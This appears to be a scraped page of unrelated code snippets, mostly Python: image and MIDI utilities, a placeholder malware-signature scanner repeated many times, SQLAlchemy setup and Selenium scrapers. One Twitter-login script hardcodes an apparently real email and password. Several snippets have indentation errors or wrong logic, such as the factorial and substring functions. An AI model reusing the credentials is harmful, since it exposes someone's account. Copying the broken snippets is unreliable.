Snippets Collections
# Create account from here : http://adfoc.us/831311103357835
# Go to https://adfoc.us/tools/api 
# http://adfoc.us/api/?key={}&url={}


import requests, os
from dotenv import load_dotenv

load_dotenv()

url = ''
api_key = os.getenv('api_key')

endpoint = f'http://adfoc.us/api/?key={api_key}&url={url}'

res = requests.get(url = endpoint)
print(res.text)
from PIL import Image, ImageDraw, ImageOps

def convert_image_to_circle(image_path):
    my_image = Image.open(image_path)
    # create mask 
    mask = Image.new('L', my_image.size)
    draw = ImageDraw.Draw(mask)
    # draw white circle
    draw.ellipse((0, 0) + mask.size, fill = 255)

    # create output image
    output = ImageOps.fit(my_image, mask.size, centering=(0.5, 0.5))
    output.putalpha(mask)
    output.save('out.png')



convert_image_to_circle('test.png')
import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")
import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")
import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")
import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")
import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")
import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")
import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")
import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")
import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")
import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")
import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")
import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")
import mido
import random

def generate_notes(notes_len):
    notes = []
    for i in range(notes_len):
        notes.append(random.randint(0, 127))

    return notes



def create_midi_file(notes):
    output_midi = mido.MidiFile()
    # create a track 
    track = mido.MidiTrack()
    # add track
    output_midi.tracks.append(track)

    # write notes
    for note in notes:
        track.append(mido.Message('note_on', note = note, velocity=64, time = 120))
        track.append(mido.Message('note_off', note = note, velocity=64, time = 120))

    # write midi file
    output_midi.save('out.mid')

notes = generate_notes(100)
create_midi_file(notes)
import tkinter as tk


root = tk.Tk()
root.attributes('-fullscreen', True)

# this is very important
def close_fullscreen():
    root.attributes('-fullscreen', False)

# add bt to close fullscreen mode this is very important
close_bt = tk.Button(root, text='Close full screen mode', command=close_fullscreen)
close_bt.pack(fill=tk.BOTH)

root.mainloop()
# Enable gzip compression for text-based files
http {
   gzip on;
   gzip_types text/plain text/css text/javascript;
}
def factorial(n):
    if n == 0 or n == 1:
        return 1
    else:
        return n * factorial(n-1)
Write a function named only_ints that takes two parameters. Your function should return True if both parameters are integers, and False otherwise.

For example, calling only_ints(1, 2) should return True, while calling only_ints("a", 1) should return False.
ChatGPT
ChatGPT
Here's a Python function named only_ints that checks if both parameters are integers:

python
Copy code
def only_ints(param1, param2):
    return isinstance(param1, int) and isinstance(param2, int)

# Example usage:
print(only_ints(1, 2))   # Output: True
print(only_ints("a", 1))  # Output: False

Copy and Save

Share

Ask Copilot

This function uses the isinstance() function to check if both parameters are of type int. If both are integers, it returns True; otherwise, it returns False.
engine = db.create_engine('sqlite:///datacamp.sqlite')
conn = engine.connect()
metadata = db.MetaData()

Student = db.Table('Student', metadata,
              db.Column('Id', db.Integer(),primary_key=True),
              db.Column('Name', db.String(255), nullable=False),
              db.Column('Major', db.String(255), default="Math"),
              db.Column('Pass', db.Boolean(), default=True)
              )

metadata.create_all(engine)
from sqlalchemy import create_engine
engine = create_engine("sqlite+pysqlite:///:memory:", echo=True)

connection = engine.connect()
print("Connected to the database successfully")
connection.close()
pip install SQLAlchemy
0 0.961847 0.151807 0.945783 0.151807 0.929719 0.166265 0.923695 0.180723 0.923695 0.207229 0.903614 0.243373 0.853414 0.26506 0.833333 0.279518 0.799197 0.289157 0.787149 0.289157 0.783133 0.284337 0.781124 0.255422 0.7751 0.243373 0.773092 0.166265 0.76506 0.151807 0.746988 0.159036 0.692771 0.207229 0.668675 0.209639 0.654618 0.216867 0.620482 0.216867 0.592369 0.207229 0.574297 0.207229 0.568273 0.214458 0.568273 0.240964 0.580321 0.26747 0.580321 0.279518 0.568273 0.296386 0.554217 0.344578 0.53012 0.383133 0.502008 0.414458 0.447791 0.513253 0.413655 0.595181 0.385542 0.689157 0.373494 0.780723 0.383534 0.807229 0.381526 0.850602 0.395582 0.872289 0.437751 0.891566 0.475904 0.901205 0.516064 0.903614 0.556225 0.915663 0.588353 0.908434 0.594378 0.889157 0.586345 0.860241 0.616466 0.824096 0.630522 0.79759 0.648594 0.742169 0.648594 0.689157 0.65261 0.684337 0.662651 0.693976 0.668675 0.739759 0.676707 0.761446 0.686747 0.773494 0.712851 0.778313 0.722892 0.766265 0.728916 0.744578 0.722892 0.66747 0.708835 0.631325 0.680723 0.60241 0.688755 0.566265 0.710843 0.53494 0.730924 0.46506 0.746988 0.440964 0.787149 0.404819 0.821285 0.392771 0.85743 0.366265 0.893574 0.325301 0.953815 0.26988 0.96988 0.209639 0.96988 0.168675
coco/
└── annotations/
    └── coco_annotations.json
coco_to_yolo.py
coco_converted/
├── images/
└── labels/
    └── coco_annotations/
        └── image1.txt
        └── image2.txt
python coco_to_yolo.py
.\venv\Scripts\activate.ps1
.\venv\Scripts\activate
python -m venv venv
cd path\to\your\project\directory
coco/
└── annotations/
    └── coco_annotations.json
coco_to_yolo.py
from ultralytics.data.converter import convert_coco
convert_coco(labels_dir='annotations', use_segments=True)
import serial
import struct
import time  # Added import for time module

# Define communication constants and machine information
BAUD_RATE = 38400
DATA_BITS = 8
STOP_BITS = 1
PARITY = serial.PARITY_NONE
NODE_ID = 0x01

# Define commands for motor control
SET_CONTROLWORD_CMD = 0x2B
SET_OPERATION_MODE_CMD = 0x2F
SET_TARGET_POSITION_CMD = 0x41
READ_STATUSWORD_CMD = 0x4B
SET_PROFILE_SPEED_CMD = 0x23

# Define functions to calculate checksum and send commands
def calculate_checksum(data):
    return (-sum(data) % 256) & 0xFF

def send_command(serial_port, cmd, index, sub_index, data=None):
    if data is None:
        data = b''
    packet = bytes([NODE_ID, cmd, index & 0xFF, index >> 8, sub_index, *data])
    checksum = calculate_checksum(packet)
    packet += bytes([checksum])
    serial_port.write(packet)
    response = serial_port.read(8)
    return response

# Motor control functions
def move_to_position(serial_port, position):
    response = send_command(serial_port, SET_TARGET_POSITION_CMD, 0x607A, 0x00, data=list(struct.pack('<i', position)))
    print(f"Response (Move to Position {position}):", response.hex())

def set_speed(serial_port, speed):
    speed_bytes = struct.pack('<i', speed)
    response = send_command(serial_port, SET_PROFILE_SPEED_CMD, 0x6081, 0x00, data=list(speed_bytes))
    print(f"Response (Set Speed {speed}):", response.hex())

def start_motion(serial_port):
    response = send_command(serial_port, SET_CONTROLWORD_CMD, 0x6040, 0x00, data=[0x0F, 0x00, 0x00, 0x00])  # Start motion
    print("Response (Start motion):", response.hex())

def stop_motion(serial_port):
    response = send_command(serial_port, SET_CONTROLWORD_CMD, 0x6040, 0x00, data=[0x06, 0x00, 0x00, 0x00])  # Stop motion
    print("Response (Stop motion):", response.hex())

def move_to_positions(serial_port, positions):
    for pos in positions:
        move_to_position(serial_port, pos)
        time.sleep(1)  # Added delay to allow time for motion
        set_speed(serial_port, 200)  # Set speed to 200 RPM
        start_motion(serial_port)
        time.sleep(5)  # Added delay to simulate motion time
        stop_motion(serial_port)

# Main function
def main():
    serial_port = serial.Serial('COM3', baudrate=BAUD_RATE, bytesize=DATA_BITS, stopbits=STOP_BITS, parity=PARITY, timeout=1)

    try:
        positions = [5000001, 6000001, 7000001]
        move_to_positions(serial_port, positions)

    finally:
        serial_port.close()

if __name__ == "__main__":
    main()
class Solution(object):
  def lengthOfLongestSubstring(self, s):
    max_sub_length = 0
    start = 0
    s_length = len(s)
    
    for end in range(1, s_length):
      if s[end] in s[start:end]:
        start = s[start:end].index(s[end]) + 1 + start
      else:
        max_sub_length = max(max_sub_length, end - start + 1)
	return max_sub_length    
c3.Genai.UnstructuredQuery.Engine.REA.RetrieverConfig.make('materiality_retriever_config').getConfig().setConfigValue("numRetrievedPassages", 10)
import math


class Circle:
    def __init__(self, radius):
        self._radius = radius
        self._area = None

    @property
    def radius(self):
        return self._radius

    @radius.setter
    def radius(self, value):
        if value < 0:
            raise ValueError('Radius must be positive')

        if value != self._radius:
            self._radius = value
            self._area = None

    @property
    def area(self):
        if self._area is None:
            self._area = math.pi * self.radius ** 2

        return self._area
Code language: Python (python)
numbers = (*odd_numbers, *even_numbers)
print(numbers)
Code language: Python (python)
numbers = (*odd_numbers, *even_numbers)
print(numbers)
Code language: Python (python)
numbers = (*odd_numbers, *even_numbers)
print(numbers)
Code language: Python (python)
new_stocks = {symbol: price * 1.02 for (symbol, price) in stocks.items()}

Code language: Python (python)
cities = ['New York', 'Beijing', 'Cairo', 'Mumbai', 'Mexico']

for item in enumerate(cities):
    print(item)
Code language: Python (python)
list_of_dicts = [
    {'name': 'Alice', 'age': 30},
    {'name': 'Bob', 'age': 25},
    {'name': 'Charlie', 'age': 35}
]
person = next((item for item in list_of_dicts if item.get('name') == 'Bob'),  "person not found." )
print(f"Found: {person}")
class Celsius:
    def __init__(self, temperature=0):
        # This calls the setter method `temperature(self, value)` below 
        self.temperature = temperature

    def to_farenheit(self):
        # This calls the getter method (`temperature(self)`) method below
        return (self.temperature * 1.8) + 32

    @property
	def temperature(self):
        """
        Getter method for the `temperature` property.
        If you create an instance of this class and then refer to the
            `temperature` property of that instance then this method will be called.

        Example:
            t = Celsius(37)
            t.temperature  <-- this is where this getter method is called
        """
        print("Getting value...")
        return self._temperature

    @temperature.setter
    def temperature(self, value):
        """
        Setter method for the `temperature` property.
        If you create an instance of this class and then assign a value
            to the `temperature` property of that instance then this method will be called.

        Example:
            t = Celsius(37)  <-- this is where this setter method is called
            t.temperature  
        """
        print("Setting value...")
        if value < -273.15:
            raise ValueError("Temperature below -273 is not possible")
        self._temperature = value


human = Celsius(37)  # Setting value...
print(human.temperature)  # Getting value...
print(human.to_farenheit())  # Setting value...
coldest_thing = Celsius(-300)  # ValueError
class Dates:
    def __init__(self, date):
    	self.date = date

    def get_date(self):
    	return self.date

    @staticmethod
    def format_date_with_dashes(date):
      	# Replace / with -
    	return date.replace("/", "-")


slash_date = "10/20/2024"
# Calling format_date_with_dashes() like any other function, but preceded by it's class name
dash_date = Dates.format_date_with_dashes(slash_date)

print(dash_date)  # 10-20-2024
from datetime import date


# random Person
class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    @classmethod
    def from_birth_year(cls, name, birth_year):
    	# Since `cls` refers to the class itself (`Person`), calling this
        #	`classmethod` creates an instance of `Person`.
    	return cls(name, date.today().year - birth_year)

    def display(self):
    	print(f"{self.name}'s age is: {self.age}")


bob = Person("Bob", 25)
bob.display()  # Bob's age is: 25

alice = Person.from_birth_year("Alice", 1985)
alice.display()  # Alice's age is: 39
class Rectangle:
    def __init__(self, length, width):
    	self.length = length
		self.width = width

    def area(self):
    	return self.length * self.width


class Square(Rectangle):
    def __init__(self, length):
        # Call the __init__ method of the parent class (Rectangle)
        # super() refers to the parent class of this class
        # Actually using the __init__ method of `Rectangle` here
        #	which needs 2 parameters, `length` and `width`. Since
        #	a square is length==width then we use `length` twice.
    	super().__init__(length, length)


my_square = Square(5)
my_square.area()  # 25
from abc import ABC, abstractmethod


class Shape(ABC):
# Shape is an abstract base class

    @abstractmethod
    def area(self):
        pass


class Circle(Shape):
# Circle is a class that inherits from the abstract Shape class

    def __init__(self, radius):
    	self.radius = radius
	
    def area(self):
   	# As a child of an Abstract class, this child class MUST define
    #	it's own implementation of this abstractmethod
    	return 3.14 * self.radius ** 2


class Square(Shape):
# Square is a class that inherits from the abstract Shape class

    def __init__(self, side):
    	self.side = side

    def area(self):
    # As a child of an Abstract class, this child class MUST define
    #	it's own implementation of this abstractmethod
    	return self.side ** 2
Test automation code involves creating test cases, handling different locators, interacting with various elements, and implementing assertions to validate expected outcomes. I am sharing a general example using Python with the popular testing framework, Selenium, for web automation.

from selenium import webdriver
from selenium.webdriver.common.by import By

# Set up the WebDriver (assuming Chrome for this example)
driver = webdriver.Chrome(executable_path='path/to/chromedriver.exe')

# Navigate to a website
driver.get('https://www.example.com')

# Find an element using its ID and perform an action (e.g., click)
element = driver.find_element(By.ID, 'example-button')
element.click()

# Perform an assertion to verify the expected result
assert "Example Domain" in driver.title

# Close the browser window
driver.quit()

# Demonstrated Python Program
# to read file character by character
file = open('file.txt', 'r')
 
while 1:
     
    # read by character
    char = file.read(1)          
    if not char: 
        break
         
    print(char)
 
file.close()
d = {}
with open("file.txt") as f:
    for line in f:
       (key, val) = line.split()
       d[int(key)] = val
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException
import pandas as pd
import time

web = 'https://twitter.com/'
path = r"C:\Drivers\chromedriver-win64\chromedriver.exe"
options = webdriver.ChromeOptions()
service = Service(executable_path=path)
options.add_experimental_option("detach", True)
options.add_argument('window-size=1920x1080')

driver = webdriver.Chrome(service=service, options=options)
driver.get(web)  # Open the webpage

# Wait for the login button to be clickable
login_button = WebDriverWait(driver, 10).until(
    EC.element_to_be_clickable((By.XPATH, '//a[contains(@href, "/login")]'))
)
login_button.click()
time.sleep(2)

# Wait for the username input field to be visible and then enter username
user_name = WebDriverWait(driver, 10).until(
    EC.visibility_of_element_located((By.XPATH, '//input[contains(@autocomplete, "username")]'))
)
user_name.send_keys("mnis00014@gmail.com")

# Wait for the next button to be clickable and then click
next_button = WebDriverWait(driver, 10).until(
    EC.element_to_be_clickable((By.XPATH, '//div[contains(@role, "button")]//span[text()="Next"]'))
)
next_button.click()

time.sleep(2)

# Wait for the password input field to be visible and then enter password
password = WebDriverWait(driver, 10).until(
    EC.visibility_of_element_located((By.XPATH, '//input[contains(@autocomplete, "current-password")]'))
)
password.send_keys("Tw@mnis@2024")

# Wait for the login button to be clickable and then click
login_button = WebDriverWait(driver, 10).until(
    EC.element_to_be_clickable((By.XPATH, '//div[contains(@role, "button")]//span[text()="Log in"]'))
)
login_button.click()

# closing driver
# driver.quit()
def retry(operation, attempts):
  for n in range(attempts):
    if operation():
      print("Attempt " + str(n) + " succeeded")
      break
    else:
      print("Attempt " + str(n) + " failed")

retry(create_user, 3)
retry(stop_service, 5)
def factorial(n):
    result = 1
    for x in range(0,10):
        result = result * x
    return x

for n in range(0,10):
  print(n, n*factorial(n+1))
# Handle pagination with Selenium
# Scrape Website (www.audible.com)

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException
import pandas as pd
import time

path = r"C:\Drivers\chromedriver-win64\chromedriver.exe"
website = "https://www.audible.com/search"

# Use the Service class to specify the path to chromedriver.exe
service = Service(executable_path=path)

# Use ChromeOptions for additional configurations
options = webdriver.ChromeOptions()
options.add_experimental_option("detach", True)

# Initialize the WebDriver with the specified service and options
driver = webdriver.Chrome(service=service, options=options)

# Navigate to the specific website
driver.get(website)

# Wait for some time to ensure the page is loaded
time.sleep(5)

try:
    # Wait for the container to be present
    container = WebDriverWait(driver, 10).until(
        EC.presence_of_element_located((By.CLASS_NAME, 'adbl-impression-container'))
    )

    # Wait for the products to be present within the container
    products = WebDriverWait(container, 10).until(
        EC.presence_of_all_elements_located((By.XPATH, './/li[contains(@class, "productListItem")]'))
    )

    book_title = []
    author_name = []
    run_time = []
    release_date = []

    for product in products:
        try:
            # Wait for the book title element to be present within each product
            book_title_elem = WebDriverWait(product, 5).until(
                EC.presence_of_element_located((By.XPATH, './/h3[contains(@class, "bc-heading")]'))
            )

            # Append book title
            book_title.append(book_title_elem.text)
            
            # Append author name
            author_name_elem = product.find_element(By.XPATH, './/li[contains(@class, "authorLabel")]')
            author_name.append(author_name_elem.text)

            # Append run time
            run_time_elem = product.find_element(By.XPATH, './/li[contains(@class, "runtimeLabel")]')
            run_time.append(run_time_elem.text)

            # Append release date
            release_date_elem = product.find_element(By.XPATH, './/li[contains(@class, "releaseDateLabel")]')
            release_date.append(release_date_elem.text)

        except TimeoutException:
            print("Timeout occurred while waiting for element within product.")
            # Handle the timeout situation here (e.g., skip this product or log the issue)

    # Create DataFrame and save to CSV
    df = pd.DataFrame({'book_title': book_title,
                       'author_name': author_name,
                       'run_time': run_time,
                       'release_date': release_date})

    df.to_csv('amazon_audible.csv', index=False)
    print(df)

except TimeoutException:
    print("Timeout occurred while waiting for container element.")
    # Handle the timeout situation here (e.g., retry navigating to the page or log the issue)

finally:
    # Quit the driver
    driver.quit()

# Import necessary libraries
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import pandas as pd
from selenium.common.exceptions import NoSuchElementException, TimeoutException

# Set the path to chromedriver.exe
path = r"C:\Drivers\chromedriver-win64\chromedriver.exe"
website = "https://www.adamchoi.co.uk/overs/detailed"

# Use the Service class to specify the path to chromedriver.exe
service = Service(executable_path=path)

# Use ChromeOptions for additional configurations
options = webdriver.ChromeOptions()

# Add the --headless option to run Chrome in headless mode (optional)
# options.add_argument("--headless")

# Add the --detach option to keep the browser open after the script finishes
options.add_experimental_option("detach", True)

# Initialize the WebDriver with the specified service and options
driver = webdriver.Chrome(service=service, options=options)

# Navigate to the specified website
driver.get(website)

try:
    # Wait for the "All matches" button to be clickable
    all_matches_button = WebDriverWait(driver, 10).until(
        EC.element_to_be_clickable((By.XPATH, '//label[@analytics-event="All matches"]'))
    )

    # Click on the "All matches" button
    all_matches_button.click()

    # Wait for the matches to load (adjust the timeout as needed)
    WebDriverWait(driver, 10).until(
        EC.presence_of_all_elements_located((By.TAG_NAME, "tr"))
    )

    # Get all match elements
    matches = driver.find_elements(By.TAG_NAME, "tr")

    date = []
    home_team = []
    score = []
    away_team = []

    # Extract data from each match
    for match in matches:
        date.append(match.find_element("xpath", "./td[1]").text)
        home_team.append(match.find_element("xpath", "./td[2]").text)
        score.append(match.find_element("xpath", "./td[3]").text)
        away_team.append(match.find_element("xpath", "./td[4]").text)

except (NoSuchElementException, TimeoutException) as e:
    print(f"Error: {e}")

finally:
    # Close the WebDriver when you're done
    driver.quit()

# Create a DataFrame from the scraped data
df = pd.DataFrame({'date': date,
                   'home_team': home_team,
                   'score': score,
                   'away_team': away_team})

# Save the DataFrame to a CSV file
df.to_csv('football_data.csv', index=False)

# Print the DataFrame
print(df)
# ---------------------------    Chrome   ---------------------------------

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.support.ui import Select
from selenium.webdriver.common.by import By
import pandas as pd
import time

path = r"C:\Drivers\chromedriver-win64\chromedriver.exe"
website = "https://www.adamchoi.co.uk/overs/detailed"

# Use the Service class to specify the path to chromedriver.exe
service = Service(executable_path=path)

# Use ChromeOptions for additional configurations
options = webdriver.ChromeOptions()
options.add_experimental_option("detach", True)

# Initialize the WebDriver with the specified service and options
driver = webdriver.Chrome(service=service, options=options)

# Navigate to the specified website
driver.get(website)

all_matches_button = driver.find_element("xpath", '//label[@analytics-event="All matches"]')
all_matches_button.click()

dropdown = Select(driver.find_element(By.ID, "country"))
dropdown.select_by_visible_text('Spain')

time.sleep(3)

matches = driver.find_elements(By.TAG_NAME, "tr")

date = []
home_team = []
score = []
away_team = []

for match in matches:
    date.append(match.find_element("xpath", "./td[1]").text)
    home_team.append(match.find_element("xpath", "./td[2]").text)
    score.append(match.find_element("xpath", "./td[3]").text)
    away_team.append(match.find_element("xpath", "./td[4]").text)

# Close the WebDriver when you're done
driver.quit()

df = pd.DataFrame({'date': date,
                   'home_team': home_team,
                   'score': score,
                   'away_team': away_team})
df.to_csv('football_data.csv', index=False)
print(df)
# ---------------------------    Chrome   ---------------------------------

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By

path = r"C:\Drivers\chromedriver-win64\chromedriver.exe"
website = "https://www.adamchoi.co.uk/overs/detailed"

# Use the Service class to specify the path to chromedriver.exe
service = Service(executable_path=path)

# Use ChromeOptions for additional configurations
options = webdriver.ChromeOptions()
options.add_experimental_option("detach", True)

# Initialize the WebDriver with the specified service and options
driver = webdriver.Chrome(service=service, options=options)

# Navigate to the specified website
driver.get(website)

all_matches_button = driver.find_element("xpath", '//label[@analytics-event="All matches"]')
all_matches_button.click()

matches = driver.find_elements(By.TAG_NAME, "tr")

date = []
home_team = []
score = []
away_team = []

for match in matches:
    date.append(match.find_element("xpath", "./td[1]").text)
    home_team.append(match.find_element("xpath", "./td[2]").text)
    home = match.find_element("xpath","./td[2]").text
    print(home)
    score.append(match.find_element("xpath", "./td[3]").text)
    away_team.append(match.find_element("xpath", "./td[4]").text)

# Close the WebDriver when you're done
# driver.quit()

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.support.ui import Select
from selenium.webdriver.common.by import By
import pandas as pd
